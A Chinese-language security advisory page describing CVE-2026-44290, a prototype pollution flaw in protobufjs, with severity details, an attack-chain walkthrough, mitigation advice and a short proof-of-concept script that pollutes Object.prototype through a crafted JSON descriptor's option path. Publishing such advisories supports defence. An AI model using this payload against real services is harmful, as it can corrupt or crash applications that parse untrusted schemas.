IPBUF安全漏洞报告
English
CVE-2026-44290 CVSS 7.5 高危

CVE-2026-44290 protobufjs原型链污染漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44290
漏洞类型
原型链污染
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
protobufjs

相关标签

原型链污染protobufjsCVE-2026-44290JavaScriptDoS

漏洞概述

protobufjs在7.5.6和8.0.2之前的版本中存在安全漏洞。攻击者通过精心构造的protobuf schema或JSON描述符,利用选项处理逻辑中的属性遍历漏洞,能够修改全局JavaScript构造函数的属性。这可能导致进程范围内的内置功能被篡改或破坏,从而影响应用程序的可用性。

技术细节

该漏洞的核心在于protobufjs库在处理schema选项时的路径解析逻辑不严谨。在受影响版本中,库允许选项路径遍历通过JavaScript对象的原型链。攻击者可以精心构造一个恶意的protobuf schema或JSON描述符,其中包含针对`__proto__`、`constructor`或`prototype`等属性的引用。当protobufjs解析这些选项并尝试应用设置时,由于缺乏有效的边界检查,它会沿着原型链向上查找并最终修改全局构造函数(如Object.prototype)的属性。这种“原型链污染”不仅影响当前对象实例,还会影响所有继承自该原型的对象。虽然本漏洞的CVSS评分主要强调了可用性影响(A:H),可能通过注入导致后续逻辑错误、无限循环或进程崩溃,但在特定上下文中,这类污染也可能进一步导致远程代码执行(RCE)或权限提升。

攻击链分析

STEP 1
步骤1:构造恶意Payload
攻击者创建包含特定路径遍历序列的恶意protobuf schema或JSON描述符,旨在指向全局对象的原型。
STEP 2
步骤2:传递Payload
攻击者将恶意Payload发送给目标应用程序,例如通过上传配置文件或API请求传递protobuf定义。
STEP 3
步骤3:解析与处理
应用程序使用易受攻击版本的protobufjs解析传入的schema。在处理选项时,解析器跟随路径遍历原型链。
STEP 4
步骤4:原型链污染
解析器将恶意数据写入全局JavaScript构造函数的原型属性中,成功污染进程范围内的对象基础。
STEP 5
步骤5:影响可用性
被污染的原型导致应用程序后续的内置功能调用出现异常、逻辑错误或崩溃,从而破坏服务可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-44290 protobufjs Prototype Pollution const protobuf = require("protobufjs"); // Malicious JSON descriptor designed to pollute the prototype chain // via options path traversal. const maliciousPayload = { nested: { MaliciousMessage: { fields: {}, // Attempting to write to Object.prototype via options options: { "constructor.prototype.polluted": "true" } } } }; try { const root = protobuf.Root.fromJSON(maliciousPayload); // Check if pollution was successful if ({}.polluted === "true") { console.log("Vulnerability Confirmed: Object.prototype.polluted is set to 'true'"); } else { console.log("Vulnerability Mitigated or Patched"); } } catch (e) { console.error("Error executing PoC:", e); }

影响范围

protobufjs < 7.5.6
protobufjs >= 8.0.0, < 8.0.2

防御指南

临时缓解措施
建议立即升级至修复版本。若暂时无法升级,应严格限制并校验传入的protobuf schema或JSON描述符内容,过滤或阻止包含`__proto__`、`constructor`、`prototype`等敏感路径的输入,以防止原型链污染攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表